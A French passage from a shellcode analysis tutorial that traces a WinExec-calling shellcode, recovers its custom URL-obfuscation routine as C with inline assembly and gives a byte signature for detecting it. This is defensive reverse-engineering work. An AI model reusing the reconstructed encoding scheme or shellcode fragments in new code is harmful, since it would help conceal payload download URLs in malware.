000001B4:   FF 55 18                            CALL DWORD PTR [EBP+18h]

000001CB:   B8 98 FE 8A 0E                 MOV EAX, 0E8AFE98h  (0E8AFE98=Hash[ROR13(Additive)]('WinExec'))
000001D0:   FF 55 18                            CALL DWORD PTR [EBP+18h]

Donc l'adresse de EBP+18 contient l'adresse d'un DWORD sur la fonction

00000067 -> 000000AD:  =>ApiCall_V2[EAX:dwHashRor13Additive,EBX:hModule]

Donc DWORD PTR [EBP+18h]  contient 0x00000067 cela va nous aider pour la suite.
Il est simple de déterminer la valeur du registre EDI au travers du code suivant:

00000213:   C7 45 14 72 01 00 00        MOV DWORD PTR [EBP+14h], 00000172h "r"
0000021A:   8B 7D 18                         MOV EDI,DWORD PTR [EBP+18h]
0000021D:   03 7D 14                         ADD EDI,DWORD PTR [EBP+14h]

Nous obtenons EDI ( 0x00000067 + 0x00000172  = 0x000001D9 )

Et maintenant nous pouvons déduire EDX , par rapport a l'instruction suivant:

 00000225:   8B 57 FC                        MOV EDX,[EDI-04h]

EDX est affecté avec la valeur d'un DWORD ce trouvant à l'adresse EDI - 0x04 qui nous donne un DWORD stocké à l'adresse 0x000001D5

Hors cette adresse correspond au ligne suivant dans le shellcode.

000001D3:   EB 2A                    JMP 2Ah +2Ah ->:000001FF)
000001D5:   18 2A                    SBB BYTE PTR[EDX],CH
000001D7:   F9                        STC          // Set Carry Flag (Arme le drapeau de retenue)
000001D8:   B7 D2                    MOV BH,D2h

On peut se poser la question légitime, si ces instructions sont vraiment du code et pas plutôt des datas cachés lié au fait du JMP qui saute cette zone.

Donc, le registre EDX aura comme valeur 0xB7F92A18 si on suite la logique que nous avons fixé.
 
Comme le registre EDI  doit contenir les données et que l'on sait qu'elle démarre à l'adresse 0x000001D9

Et de plus sont d'une longueur de 32 octets. Cela nous donne les octets suivant de la zone encodé.

D2 77 B3 01 45 8A 92 B7 AD 50 5D E4 67 F5 E6 C7 1A BF AB 1E 10 42 76 A2 A1 54 63 09 7B 89 B0 F4 97 4E 73 93 3F F1

Intégrer ce codage dans un programme en C++ est assez rapide.

Voici l'outil réalisé avec quelques fonctions de base comme la bascule en mode Asii / Hexa pour visualiser les octets différement en relation à se que l'on suppose qu'ils contiennent 

Suite au test, nous retrouvons un text qui est bien une url servant au téléchargement de la charge utile en regardant où elle est utilisé dans le shellcode.

Ce qui est intéressant et que la Key de décodage fournit la Key de codage et inversement
Il a été assez simple de reconstruire la fonction d'encodage à partir de cela.

Pour valider cela, nous avons fait un encodage en prenant l'url suivant

"http://9b113d1a.blogspot.com/" et comme key la valeur 9B113D1A

Nous obtenons les octets encodé de notre url, ainsi que la key de décodage 6273A07 pour retrouver le text initial à partir de la fonction de décodage.


Nous avons décodé le donnée encodé.Et cela nous fournit notre url initial

En conclusion la fonction étudié est bien une fonction de désobfuscation de donnée utilisé pour décoder une url obfusqué incluse dans le shellcode.

Nous lui avons défini un nom qui la caractérise mieux

ApiDeobfuscateAStringByKeyDWORDV1(DWORD dwKeyEncode,char* pMemory,DWORD dwSize)

Nous remettons son codage en C

DWORD ApiDeobfuscateAStringByKeyDWORD(DWORD dwKeyEncode,char* pMemory,DWORD dwSize)
{
                __asm
                {
                               MOV ECX,dwSize
                               MOV EDI,pMemory
                               MOV EDX,dwKeyEncode

                     boucleNonNULL:
                               XOR EAX,EAX
                               MOV AL, BYTE PTR[EDI]

                               ROR AL,CL
                               XOR AL,CL
                               NOT AL
                               XOR AL,CH
                               XOR AL,DL
                               XOR AL,DH
                               ROL AL,CL
                               ADD AL,CL
                               ADD AL,CH
                               ADD AL,DL
                               ADD AL,DH
                               ROR AL,CL
                               SUB AL,CL
                               SUB AL,CH
                               NOT AL
                               SUB AL,DL
                               SUB AL,DH
                               ROL AL,CL
                               ROL EDX,CL
                               BSWAP EDX

                               MOV [EDI],AL
                               INC EDI
                               DEC ECX
                               JNZ boucleNonNULL

                               MOV EAX,EDX   
                }
}

Nous pouvons intégrer la signature du bloc de la fonction dans notre outils. Mais il est assez complexe de déterminer automatiquement la zone des données encodé.

Pour la signature, nous la mettons en dessous  

char szShellCode_Block_DeObfuscateAStringByKeyDWORD[]=
"\x33\xC0\x8A\x07\xD2\xC8\x32\xC1\xF6\xD0\x32\xC5\x32\xC2"
"\x32\xC6\xD2\xC0\x02\xC1\x02\xC5\x02\xC2\x02\xC6\xD2\xC8\x2A\xC1"
"\x2A\xC5\xF6\xD0\x2A\xC2\x2A\xC6\xD2\xC0\xD3\xC2\x0F\xCA\x88\x07"
"\x47\x49\x75\xCE\xC3";

Suite à l'intégration à l'outil , nous avons repasser le shellcode concerné à l'analyse. Cela nous permet maintenant de bien distingué les différentes partie de ce shellcode. 


III.    Conclusions

Nous espérons que ces quelques lignes, vous permet de mieux comprendre le mode opératoire d'analyse pouvant être effectué pour déterminer la mission d'une fonction inconnu. Il vous a aussi permis de voir un mécanisme d'obfuscation d'url un peu moins courant que le XOR à key constant.